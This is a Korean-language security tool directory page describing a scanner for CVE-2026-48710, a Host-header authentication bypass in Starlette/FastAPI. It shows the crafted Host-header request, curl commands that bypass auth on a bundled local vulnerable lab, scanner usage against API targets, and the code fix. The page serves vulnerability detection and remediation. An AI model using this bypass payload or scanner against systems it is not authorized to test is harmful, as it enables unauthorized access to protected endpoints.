Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/bhanunamikaze/badhost-cve-2026-48710-exploit
Authentication & AuthorizationVulnerability ScannersExploitationWeb Application ExploitationAPI Security TestingPenetration TestingLabs & Practice
GitHubbhanunamikaze/badhost-cve-2026-48710-exploit

BadHost-CVE-2026-48710-Exploit

CVE-2026-48710 - Starlette/FastAPI의 Host-header 인증 우회 탐지 스캐너

저장소 보기
1174개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

BadHost — CVE-2026-48710 스캐너

Starlette / FastAPI의 BadHost 인증 우회 전용 스캐너 — 인증 미들웨어가 request.scope["path"] 대신 request.url.path를 읽어서, 조작된 Host 헤더로 허용된 경로를 밀수하여 인증을 우회할 수 있습니다.

GET /admin HTTP/1.1
Host: api.internal/health?__badhost=
# Starlette sees request.url.path == "/health" → allowed
# ASGI still routes to /admin → bypassed

영향받는 버전: Starlette ≤ 0.46.1 / FastAPI ≤ 0.115.x
수정된 버전: Starlette 0.46.2+


기능

  • 전체 URL 전달 (https://host/path) — 경로가 자동으로 추출되어 프로브로 사용됩니다.
  • FastAPI/OpenAPI JSON 또는 YAML 스펙(파일 또는 URL)에서 엔드포인트 로드
  • 인젝션 후보로 사용할 인증되지 않은 경로 자동 발견
  • Host 및 X-Forwarded-Host 전달자, 두 가지 페이로드 전략 테스트
  • AI/LLM (--preset ai) 및 MCP (--preset mcp) 엔드포인트용 내장 프리셋
  • 출력: 텍스트 요약, --json, --csv
  • 실시간 스캔 진행 상황을 stderr로 출력; 타사 종속성 없음

로컬 취약 연구소 (badhost_vuln_lab/)

로컬 검증을 위한 두 개의 FastAPI 앱 제공:

앱URL인증 읽기 방식
취약http://127.0.0.1:8000request.url.path — 우회됨
수정됨http://127.0.0.1:8001request.scope["path"] — 안전
cd badhost_vuln_lab
docker compose up --build

또는 Docker 없이:

pip install -r badhost_vuln_lab/requirements.txt
uvicorn badhost_vuln_lab.app_vulnerable:app --host 127.0.0.1 --port 8000
uvicorn badhost_vuln_lab.app_fixed:app --host 127.0.0.1 --port 8001

수동 우회 테스트

curl -i http://127.0.0.1:8000/admin                               # 403
curl -i -H "Host: 127.0.0.1:8000/health?x=" http://127.0.0.1:8000/admin  # 200 — bypassed
curl -i -H "Host: 127.0.0.1:8001/health?x=" http://127.0.0.1:8001/admin  # 403 — fixed

설치

git clone https://github.com/Bhanunamikaze/BadHost-CVE-2026-48710-Exploit.git
cd BadHost-CVE-2026-48710-Exploit
python badhost_openapi_scanner.py --help   # Python 3.9+, no pip install needed

사용 방법

# 단일 전체 URL — 경로 자동 추출, 추가 플래그 불필요
python badhost_openapi_scanner.py https://api.internal/checkout/ai-builder

# 여러 전체 URL
python badhost_openapi_scanner.py https://api.internal/admin https://api.internal/api/users

# 전체 URL에 추가 경로 추가
python badhost_openapi_scanner.py https://api.internal/checkout \
  --protected POST:/api/checkout --protected GET:/api/cart

# 로컬 openapi.json에서 읽기 전용 스캔
python badhost_openapi_scanner.py http://api.internal:8000 --openapi ./openapi.json

# 쓰기 메서드 포함 (스테이징/권한 있는 경우에만)
python badhost_openapi_scanner.py http://api.internal:8000 \
  --openapi ./openapi.json --openapi-methods all \
  --unsafe-allow-write --openapi-body-mode invalid

# 대상에서 직접 OpenAPI 가져오기
python badhost_openapi_scanner.py http://api.internal:8000 \
  --openapi http://api.internal:8000/openapi.json

# 여러 대상, CSV 출력
python badhost_openapi_scanner.py --targets-file targets.txt \
  --openapi ./openapi.json --csv > results.csv

# AI/LLM + MCP 프리셋 경로 (OpenAPI 불필요)
python badhost_openapi_scanner.py http://api.internal:8000 --preset all

--openapi-body-mode invalid는 쓰기 메서드에 대해 {}를 전송합니다 — 엔드포인트를 실행하지 않고 인증 우회 후 FastAPI 422를 트리거합니다. baseline=403 test=422 결과는 여전히 조사할 가치가 있는 SUSPECT 발견입니다.
프로덕션에서는 --openapi-body-mode minimal을 사용하지 마십시오 — 쓰기 엔드포인트를 실행할 수 있는 유효한 요청 본문을 생성합니다.


판정 결과

판정의미
CONFIRMED기준 401/403 → 테스트 2xx. 취약.
SUSPECT기준 401/403 → 테스트 404/405/422. 인증 게이트가 우회된 것으로 보임; 수동 확인 필요. FastAPI의 422는 특히 중요.
REJECTED프록시가 우회 전에 잘못된 Host(400/421)를 거부
BLOCKED조작된 요청이 여전히 거부됨
OPEN인증 없이 이미 접근 가능 — 이 CVE에 해당하지 않음

출력에는 CONFIRMED와 SUSPECT만 표시됩니다. 종료 코드 2 = CONFIRMED, 1 = SUSPECT, 0 = 정상.


수정 방법

# 취약
if request.url.path.startswith("/public"):
    ...

# 수정됨
if request.scope["path"].startswith("/public"):
    ...

Starlette 0.46.2+ / **FastAPI 0.116.0+**로 업그레이드하세요.


승인된 테스트 전용입니다. 귀하가 소유하거나 테스트할 명시적 권한이 있는 시스템만 스캔하십시오.

도구 다운로드